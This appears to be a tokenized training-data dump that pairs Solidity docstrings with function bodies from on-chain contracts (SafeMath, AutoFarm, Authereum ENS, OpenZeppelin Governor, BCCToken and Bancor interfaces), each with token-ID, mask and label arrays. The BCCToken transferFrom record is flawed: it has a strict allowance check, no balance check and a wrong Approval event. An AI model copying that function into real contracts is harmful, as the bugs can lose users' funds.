assert(b > 0); Solidity automatically throws when dividing by 0 assert(a == b * c + a % b); There is no case in which this doesn't hold
function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; }
884,944
[ 1, 11231, 12, 70, 405, 374, 1769, 225, 348, 7953, 560, 6635, 1216, 1347, 3739, 10415, 635, 374, 1815, 12, 69, 422, 324, 225, 276, 397, 279, 738, 324, 1769, 225, 6149, 353, 1158, 648, 316, 1492, 333, 3302, 1404, 6887, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3739, 12, 11890, 5034, 279, 16, 2254, 5034, 324, 13, 2713, 1135, 261, 11890, 5034, 13, 288, 203, 1377, 2254, 5034, 276, 273, 279, 342, 324, 31, 203, 1377, 327, 276, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0x78488b0DeF582ba53d6FD56Bc361a8485862e33d/sources/AutoFarm.sol
Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 sharesTotal = IStrategy(pool.strat).sharesTotal(); if (sharesTotal == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier <= 0) { return; } uint256 _reward = multiplier.mul(rewardPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accMdoPerShare = pool.accMdoPerShare.add(_reward.mul(1e18).div(sharesTotal)); pool.lastRewardBlock = block.number; }
11,250,465
[ 1, 1891, 19890, 3152, 434, 326, 864, 2845, 358, 506, 731, 17, 869, 17, 712, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 2864, 12, 11890, 5034, 389, 6610, 13, 1071, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 309, 261, 2629, 18, 2696, 1648, 2845, 18, 2722, 17631, 1060, 1768, 13, 288, 203, 5411, 327, 31, 203, 3639, 289, 203, 3639, 2254, 5034, 24123, 5269, 273, 467, 4525, 12, 6011, 18, 701, 270, 2934, 30720, 5269, 5621, 203, 3639, 309, 261, 30720, 5269, 422, 374, 13, 288, 203, 5411, 2845, 18, 2722, 17631, 1060, 1768, 273, 1203, 18, 2696, 31, 203, 5411, 327, 31, 203, 3639, 289, 203, 3639, 2254, 5034, 15027, 273, 31863, 5742, 12, 6011, 18, 2722, 17631, 1060, 1768, 16, 1203, 18, 2696, 1769, 203, 3639, 309, 261, 20538, 1648, 374, 13, 288, 203, 5411, 327, 31, 203, 3639, 289, 203, 3639, 2254, 5034, 389, 266, 2913, 273, 15027, 18, 16411, 12, 266, 2913, 2173, 1768, 2934, 16411, 12, 6011, 18, 9853, 2148, 2934, 2892, 12, 4963, 8763, 2148, 1769, 203, 203, 3639, 2845, 18, 8981, 49, 2896, 2173, 9535, 273, 2845, 18, 8981, 49, 2896, 2173, 9535, 18, 1289, 24899, 266, 2913, 18, 16411, 12, 21, 73, 2643, 2934, 2892, 12, 30720, 5269, 10019, 203, 3639, 2845, 18, 2722, 17631, 1060, 1768, 273, 1203, 18, 2696, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.16; import "./AuthereumEnsResolver.sol"; import "../base/Owned.sol"; import "../utils/strings.sol"; /** * @title AuthereumEnsManager * @author Authereum Labs, Inc. * @dev Used to manage all subdomains. * @dev This is also known as the Authereum registrar. * @dev The public ENS registry is used. The resolver is custom. */ contract AuthereumEnsManager is Owned { using strings for *; string constant public authereumEnsManagerVersion = "2020020200"; // namehash('addr.reverse') bytes32 constant public ADDR_REVERSE_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2; address ensRegistry; // The managed root name string public rootName; // The managed root node bytes32 public rootNode; // The address of the authereumEnsResolver address public authereumEnsResolver; // The address of the Authereum factory address public authereumFactoryAddress; // A mapping of the runtimeCodeHash to creationCodeHash mapping(bytes32 => bytes32) public authereumProxyBytecodeHashMapping; event RootnodeOwnerChanged(bytes32 indexed rootnode, address indexed newOwner); event RootnodeResolverChanged(bytes32 indexed rootnode, address indexed newResolver); event RootnodeTTLChanged(bytes32 indexed rootnode, uint64 indexed newTtl); event RootnodeTextChanged(bytes32 indexed node, string indexed indexedKey, string key, string value); event RootnodeContenthashChanged(bytes32 indexed node, bytes hash); event AuthereumEnsResolverChanged(address indexed authereumEnsResolver); event AuthereumFactoryAddressChanged(address indexed authereumFactoryAddress); event AuthereumProxyBytecodeHashChanged(bytes32 indexed authereumProxyRuntimeCodeHash, bytes32 indexed authereumProxyCreationCodeHash); event Registered(address indexed owner, string ens); /// @dev Throws if the sender is not the Authereum factory modifier onlyAuthereumFactory() { require(msg.sender == authereumFactoryAddress, "AEM: Must be sent from the authereumFactoryAddress"); _; } /// @dev Constructor that sets the ENS root name and root node to manage /// @param _rootName The root name (e.g. authereum.eth) /// @param _rootNode The node of the root name (e.g. namehash(authereum.eth)) /// @param _ensRegistry Public ENS Registry address /// @param _authereumEnsResolver Custom Autheruem ENS Resolver address constructor( string memory _rootName, bytes32 _rootNode, address _ensRegistry, address _authereumEnsResolver ) public { rootName = _rootName; rootNode = _rootNode; ensRegistry = _ensRegistry; authereumEnsResolver = _authereumEnsResolver; } /** * Canonical ENS */ /// @dev Gets the official ENS registry /// @return The official ENS registry address function getEnsRegistry() public view returns (EnsRegistry) { return EnsRegistry(ensRegistry); } /// @dev Gets the official ENS reverse registrar /// @return The official ENS reverse registrar address function getEnsReverseRegistrar() public view returns (EnsReverseRegistrar) { return EnsReverseRegistrar(getEnsRegistry().owner(ADDR_REVERSE_NODE)); } /** * Rootnode - Registry */ /// @dev This function is used when the rootnode owner is updated /// @param _newOwner The address of the new ENS manager that will manage the root node function changeRootnodeOwner(address _newOwner) external onlyOwner { require(_newOwner != address(0), "AEM: Address must not be null"); getEnsRegistry().setOwner(rootNode, _newOwner); emit RootnodeOwnerChanged(rootNode, _newOwner); } /// @dev This function is used when the rootnode resolver is updated /// @param _newResolver The address of the new ENS Resolver that will manage the root node function changeRootnodeResolver(address _newResolver) external onlyOwner { require(_newResolver != address(0), "AEM: Address must not be null"); getEnsRegistry().setResolver(rootNode, _newResolver); emit RootnodeResolverChanged(rootNode, _newResolver); } /// @dev This function is used when the rootnode TTL is updated /// @param _newTtl The address of the new TTL that will manage the root node function changeRootnodeTTL(uint64 _newTtl) external onlyOwner { getEnsRegistry().setTTL(rootNode, _newTtl); emit RootnodeTTLChanged(rootNode, _newTtl); } /** * Rootnode - Resolver */ /// @dev This function is used when the rootnode text record is updated /// @param _newKey The key of the new text record for the root node /// @param _newValue The value of the new text record for the root node function changeRootnodeText(string calldata _newKey, string calldata _newValue) external onlyOwner { AuthereumEnsResolver(authereumEnsResolver).setText(rootNode, _newKey, _newValue); emit RootnodeTextChanged(rootNode, _newKey, _newKey, _newValue); } /// @dev This function is used when the rootnode contenthash is updated /// @param _newHash The new contenthash of the root node function changeRootnodeContenthash(bytes calldata _newHash) external onlyOwner { AuthereumEnsResolver(authereumEnsResolver).setContenthash(rootNode, _newHash); emit RootnodeContenthashChanged(rootNode, _newHash); } /** * State */ /// @dev Lets the owner change the address of the Authereum ENS resolver contract /// @param _authereumEnsResolver The address of the Authereun ENS resolver contract function changeAuthereumEnsResolver(address _authereumEnsResolver) external onlyOwner { require(_authereumEnsResolver != address(0), "AEM: Address must not be null"); authereumEnsResolver = _authereumEnsResolver; emit AuthereumEnsResolverChanged(_authereumEnsResolver); } /// @dev Lets the owner change the address of the Authereum factory /// @param _authereumFactoryAddress The address of the Authereum factory function changeAuthereumFactoryAddress(address _authereumFactoryAddress) external onlyOwner { require(_authereumFactoryAddress != address(0), "AEM: Address must not be null"); authereumFactoryAddress = _authereumFactoryAddress; emit AuthereumFactoryAddressChanged(authereumFactoryAddress); } /** * Register */ /// @dev Lets the manager assign an ENS subdomain of the root node to a target address /// @notice Registers both the forward and reverse ENS /// @param _label The subdomain label /// @param _owner The owner of the subdomain function register( string calldata _label, address _owner ) external onlyAuthereumFactory { bytes32 labelNode = keccak256(abi.encodePacked(_label)); bytes32 node = keccak256(abi.encodePacked(rootNode, labelNode)); address currentOwner = getEnsRegistry().owner(node); require(currentOwner == address(0), "AEM: Label is already owned"); // Forward ENS getEnsRegistry().setSubnodeOwner(rootNode, labelNode, address(this)); getEnsRegistry().setResolver(node, authereumEnsResolver); getEnsRegistry().setOwner(node, _owner); AuthereumEnsResolver(authereumEnsResolver).setAddr(node, _owner); // Reverse ENS strings.slice[] memory parts = new strings.slice[](2); parts[0] = _label.toSlice(); parts[1] = rootName.toSlice(); string memory name = ".".toSlice().join(parts); bytes32 reverseNode = EnsReverseRegistrar(getEnsReverseRegistrar()).node(_owner); AuthereumEnsResolver(authereumEnsResolver).setName(reverseNode, name); emit Registered(_owner, name); } /** * Public functions */ /// @dev Returns true is a given subnode is available /// @param _subnode The target subnode /// @return True if the subnode is available function isAvailable(bytes32 _subnode) public view returns (bool) { bytes32 node = keccak256(abi.encodePacked(rootNode, _subnode)); address currentOwner = getEnsRegistry().owner(node); if(currentOwner == address(0)) { return true; } return false; } }
@dev Lets the manager assign an ENS subdomain of the root node to a target address @notice Registers both the forward and reverse ENS @param _label The subdomain label @param _owner The owner of the subdomain Forward ENS Reverse ENS
function register( string calldata _label, address _owner ) external onlyAuthereumFactory { bytes32 labelNode = keccak256(abi.encodePacked(_label)); bytes32 node = keccak256(abi.encodePacked(rootNode, labelNode)); address currentOwner = getEnsRegistry().owner(node); require(currentOwner == address(0), "AEM: Label is already owned"); getEnsRegistry().setSubnodeOwner(rootNode, labelNode, address(this)); getEnsRegistry().setResolver(node, authereumEnsResolver); getEnsRegistry().setOwner(node, _owner); AuthereumEnsResolver(authereumEnsResolver).setAddr(node, _owner); strings.slice[] memory parts = new strings.slice[](2); parts[0] = _label.toSlice(); parts[1] = rootName.toSlice(); string memory name = ".".toSlice().join(parts); bytes32 reverseNode = EnsReverseRegistrar(getEnsReverseRegistrar()).node(_owner); AuthereumEnsResolver(authereumEnsResolver).setName(reverseNode, name); emit Registered(_owner, name); }
6,437,321
[ 1, 48, 2413, 326, 3301, 2683, 392, 512, 3156, 16242, 434, 326, 1365, 756, 358, 279, 1018, 1758, 225, 2526, 6045, 3937, 326, 5104, 471, 4219, 512, 3156, 225, 389, 1925, 1021, 16242, 1433, 225, 389, 8443, 1021, 3410, 434, 326, 16242, 17206, 512, 3156, 18469, 512, 3156, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1744, 12, 203, 3639, 533, 745, 892, 389, 1925, 16, 203, 3639, 1758, 389, 8443, 203, 565, 262, 203, 3639, 3903, 203, 3639, 1338, 1730, 822, 379, 1733, 203, 565, 288, 203, 3639, 1731, 1578, 1433, 907, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 24899, 1925, 10019, 203, 3639, 1731, 1578, 756, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 3085, 907, 16, 1433, 907, 10019, 203, 3639, 1758, 783, 5541, 273, 336, 664, 87, 4243, 7675, 8443, 12, 2159, 1769, 203, 3639, 2583, 12, 2972, 5541, 422, 1758, 12, 20, 3631, 315, 37, 3375, 30, 5287, 353, 1818, 16199, 8863, 203, 203, 3639, 336, 664, 87, 4243, 7675, 542, 1676, 2159, 5541, 12, 3085, 907, 16, 1433, 907, 16, 1758, 12, 2211, 10019, 203, 3639, 336, 664, 87, 4243, 7675, 542, 4301, 12, 2159, 16, 1357, 822, 379, 664, 87, 4301, 1769, 203, 3639, 336, 664, 87, 4243, 7675, 542, 5541, 12, 2159, 16, 389, 8443, 1769, 203, 3639, 3123, 822, 379, 664, 87, 4301, 12, 1944, 822, 379, 664, 87, 4301, 2934, 542, 3178, 12, 2159, 16, 389, 8443, 1769, 203, 203, 3639, 2064, 18, 6665, 8526, 3778, 2140, 273, 394, 2064, 18, 6665, 8526, 12, 22, 1769, 203, 3639, 2140, 63, 20, 65, 273, 389, 1925, 18, 869, 5959, 5621, 203, 3639, 2140, 63, 21, 65, 273, 1365, 461, 18, 869, 5959, 5621, 203, 3639, 533, 3778, 508, 273, 4585, 18, 869, 5959, 7675, 5701, 12, 6019, 1769, 203, 3639, 1731, 2 ]
./full_match/314/0x7b7f1f85F599b63432F5D782041c25Dad354f999/sources/node_modules/@openzeppelin/contracts/governance/Governor.sol
* @dev See {IGovernor-hashProposal}. The proposal id is produced by hashing the ABI encoded `targets` array, the `values` array, the `calldatas` array and the descriptionHash (bytes32 which itself is the keccak256 hash of the description string). This proposal id can be produced from the proposal data which is part of the {ProposalCreated} event. It can even be computed in advance, before the proposal is submitted. Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the same proposal (with same operation and same description) will have the same id if submitted on multiple governors across multiple networks. This also means that in order to execute the same operation twice (on the same governor) the proposer will have to change the description in order to avoid proposal id conflicts./
function hashProposal( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) public pure virtual returns (uint256) { return uint256(keccak256(abi.encode(targets, values, calldatas, descriptionHash))); }
8,083,679
[ 1, 9704, 288, 3047, 1643, 29561, 17, 2816, 14592, 5496, 1021, 14708, 612, 353, 14929, 635, 24641, 326, 10336, 45, 3749, 1375, 11358, 68, 526, 16, 326, 1375, 2372, 68, 526, 16, 326, 1375, 1991, 13178, 68, 526, 471, 326, 2477, 2310, 261, 3890, 1578, 1492, 6174, 353, 326, 417, 24410, 581, 5034, 1651, 434, 326, 2477, 533, 2934, 1220, 14708, 612, 848, 506, 14929, 628, 326, 14708, 501, 1492, 353, 1087, 434, 326, 288, 14592, 6119, 97, 871, 18, 2597, 848, 5456, 506, 8470, 316, 8312, 16, 1865, 326, 14708, 353, 9638, 18, 3609, 716, 326, 2687, 548, 471, 326, 314, 1643, 29561, 1758, 854, 486, 1087, 434, 326, 14708, 612, 16039, 18, 735, 9116, 715, 16, 326, 1967, 14708, 261, 1918, 1967, 1674, 471, 1967, 2477, 13, 903, 1240, 326, 1967, 612, 309, 9638, 603, 3229, 314, 1643, 82, 1383, 10279, 3229, 13884, 18, 1220, 2546, 4696, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 1651, 14592, 12, 203, 3639, 1758, 8526, 3778, 5774, 16, 203, 3639, 2254, 5034, 8526, 3778, 924, 16, 203, 3639, 1731, 8526, 3778, 745, 13178, 16, 203, 3639, 1731, 1578, 2477, 2310, 203, 565, 262, 1071, 16618, 5024, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 2254, 5034, 12, 79, 24410, 581, 5034, 12, 21457, 18, 3015, 12, 11358, 16, 924, 16, 745, 13178, 16, 2477, 2310, 3719, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x3c343872ca5f8FB3F02AF1a1221F8b7806563860/sources/browser/BCCToken.sol
* @dev See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}; Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`./deducting allowance--- start transfer execution --owner decrease balancetransfer token to recipient;-- end transfer execution--decrease the approval amount;
function transferFrom(address tokenOwner, address recipient, uint256 amount) public virtual override returns (bool) { address spender = msg.sender; uint256 _allowance = _allowances[tokenOwner][spender]; require(_allowance > amount, "BCC1: transfer amount exceeds allowance"); _allowance = _allowance - amount; _balances[tokenOwner] =_balances[tokenOwner] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(tokenOwner, recipient, amount); _allowances[tokenOwner][spender] = _allowance; emit Approval(tokenOwner, spender, amount); return true; }
8,160,083
[ 1, 9704, 288, 45, 654, 39, 3462, 17, 13866, 1265, 5496, 7377, 1282, 392, 288, 23461, 97, 871, 11193, 326, 3526, 1699, 1359, 18, 1220, 353, 486, 1931, 635, 326, 512, 2579, 18, 2164, 326, 4721, 622, 326, 8435, 434, 288, 654, 39, 3462, 20451, 29076, 30, 300, 1375, 15330, 68, 471, 1375, 20367, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 15330, 68, 1297, 1240, 279, 11013, 434, 622, 4520, 1375, 8949, 8338, 300, 326, 4894, 1297, 1240, 1699, 1359, 364, 12176, 15330, 10335, 11, 87, 2430, 434, 622, 4520, 1375, 8949, 8338, 19, 785, 853, 310, 1699, 1359, 6062, 787, 7412, 4588, 1493, 8443, 20467, 324, 4316, 71, 16354, 634, 586, 1147, 358, 8027, 31, 413, 679, 7412, 4588, 413, 323, 11908, 326, 23556, 3844, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 1265, 12, 2867, 1147, 5541, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 1071, 5024, 3849, 1135, 261, 6430, 13, 288, 203, 3639, 1758, 17571, 264, 273, 1234, 18, 15330, 31, 203, 3639, 2254, 5034, 389, 5965, 1359, 273, 389, 5965, 6872, 63, 2316, 5541, 6362, 87, 1302, 264, 15533, 203, 3639, 2583, 24899, 5965, 1359, 405, 3844, 16, 315, 38, 6743, 21, 30, 7412, 3844, 14399, 1699, 1359, 8863, 203, 540, 203, 3639, 389, 5965, 1359, 273, 389, 5965, 1359, 300, 3844, 31, 203, 540, 203, 540, 203, 3639, 389, 70, 26488, 63, 2316, 5541, 65, 273, 67, 70, 26488, 63, 2316, 5541, 65, 300, 3844, 31, 7010, 540, 203, 3639, 389, 70, 26488, 63, 20367, 65, 273, 389, 70, 26488, 63, 20367, 65, 397, 3844, 31, 203, 540, 203, 3639, 3626, 12279, 12, 2316, 5541, 16, 8027, 16, 3844, 1769, 203, 540, 203, 3639, 389, 5965, 6872, 63, 2316, 5541, 6362, 87, 1302, 264, 65, 273, 389, 5965, 1359, 31, 203, 540, 203, 3639, 3626, 1716, 685, 1125, 12, 2316, 5541, 16, 17571, 264, 16, 3844, 1769, 203, 540, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 377, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.21; /* Owned contract interface */ contract IOwned { // this function isn't abstract since the compiler emits automatically generated getter functions as external function owner() public view returns (address) {} function transferOwnership(address _newOwner) public; function acceptOwnership() public; } /* ERC20 Standard Token interface */ contract IERC20Token { // these functions aren't abstract since the compiler emits automatically generated getter functions as external function name() public view returns (string) {} function symbol() public view returns (string) {} function decimals() public view returns (uint8) {} function totalSupply() public view returns (uint256) {} function balanceOf(address _owner) public view returns (uint256) { _owner; } function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } /* Contract Registry interface */ contract IContractRegistry { function getAddress(bytes32 _contractName) public view returns (address); } /* Contract Features interface */ contract IContractFeatures { function isSupported(address _contract, uint256 _features) public view returns (bool); function enableFeatures(uint256 _features, bool _enable) public; } /* Whitelist interface */ contract IWhitelist { function isWhitelisted(address _address) public view returns (bool); } /* Token Holder interface */ contract ITokenHolder is IOwned { function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public; } /* Ether Token interface */ contract IEtherToken is ITokenHolder, IERC20Token { function deposit() public payable; function withdraw(uint256 _amount) public; function withdrawTo(address _to, uint256 _amount) public; } /* Smart Token interface */ contract ISmartToken is IOwned, IERC20Token { function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } /* Bancor Gas Price Limit interface */ contract IBancorGasPriceLimit { function gasPrice() public view returns (uint256) {} function validateGasPrice(uint256) public view; } /* Bancor Converter interface */ contract IBancorConverter { function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256); function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); function conversionWhitelist() public view returns (IWhitelist) {} // deprecated, backward compatibility function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); } /* Bancor Network interface */ contract IBancorNetwork { function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256); function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256); function convertForPrioritized2( IERC20Token[] 